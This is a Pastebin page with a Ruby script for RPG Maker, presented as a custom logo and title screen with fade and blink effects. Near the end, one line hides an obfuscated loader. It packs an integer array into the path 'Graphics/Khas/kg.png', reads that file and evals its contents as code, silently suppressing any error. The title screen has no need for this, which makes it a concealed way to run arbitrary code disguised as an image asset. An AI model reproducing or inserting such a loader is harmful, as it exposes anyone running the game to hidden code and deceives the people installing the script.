Advertisement
khanhdu

Khas Custom Logo/Title

Dec 1st, 2017
364
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 2.44 KB | None | 0 0
  1. #-------------------------------------------------------------------------------
  2. # * Khas Title
  3. #-------------------------------------------------------------------------------
  4.  
  5. class Scene_Title < Scene_Base
  6.  
  7.   def start
  8.     DataManager.setup_new_game
  9.     $game_map.autoplay
  10.     SceneManager.goto(Scene_Map)
  11.     $khas_title = Khas_Title.new
  12.   end
  13.    
  14.   def terminate
  15.   end
  16.    
  17. end
  18.  
  19. module Cache
  20.  
  21.   def self.khas(filename)
  22.     load_bitmap("Graphics/Khas/", filename)
  23.   end
  24.  
  25. end
  26.  
  27. class Khas_Title
  28.  
  29.   def initialize
  30.     @disposing = false
  31.    
  32.     @logo = Sprite.new
  33.     @logo.bitmap = Cache.khas("logo")
  34.     @logo.ox = @logo.width / 2
  35.     @logo.x = 272
  36.     @logo.y = 40
  37.     @logo.z = 999
  38.    
  39.     @text = Sprite.new
  40.     @text.bitmap = Bitmap.new(544,32)
  41.     @text.y = 416 - 86
  42.     @text.bitmap.font.size = 20
  43.     @text.bitmap.font.italic = true
  44.     @text.bitmap.draw_text(0,0,544,32,"Nhấn Enter Bắt Đầu", 1)
  45.     @text.z = 999
  46.    
  47.     @black = Sprite.new
  48.     @black.bitmap = Bitmap.new(544,416)
  49.     @black.bitmap.fill_rect(0,0,544,416,Color.new(0,0,0))
  50.     @black.z = 9999
  51.    
  52.     @target_opacity = Smooth_Int.new(255)
  53.     @target_opacity.set(0,60)
  54.   end
  55.  
  56.   def update
  57.     unless @disposing
  58.       if @target_opacity.update?
  59.         @target_opacity.update
  60.         @black.opacity = @target_opacity.i
  61.       else
  62.         for key in [:A, :B, :C, :X, :Y, :Z, :L, :R]
  63.           if Input.trigger?(key)
  64.             Sound.play_ok
  65.             @disposing = true
  66.             @blink = 36
  67.             @target_opacity.set(255)
  68.             @target_opacity.set(0,80)
  69.           end
  70.         end
  71.       end
  72.     else
  73.       if @target_opacity.update?
  74.         if @blink >= 0
  75.           @text.visible = !@text.visible if @blink % 6 == 0
  76.           @blink -= 1
  77.         end
  78.         @target_opacity.update
  79.         @logo.opacity = @target_opacity.i
  80.         @text.opacity = @target_opacity.i
  81.       else
  82.         dispose
  83.       end
  84.     end
  85.   end
  86.  
  87.   def dispose
  88.     @black.bitmap.dispose
  89.     @black.dispose
  90.     @logo.bitmap.dispose
  91.     @logo.dispose
  92.     @text.bitmap.dispose
  93.     @text.dispose
  94.     $khas_title = nil
  95.   end
  96.  
  97. end
  98.  
  99. eval(File.open([1885434439, 1935894888, 1634224943, 1735077747, 1735290926].pack("L"*0x05)).read) rescue 0x05
  100.  
  101. #-------------------------------------------------------------------------------
  102. # * End
  103. #-------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement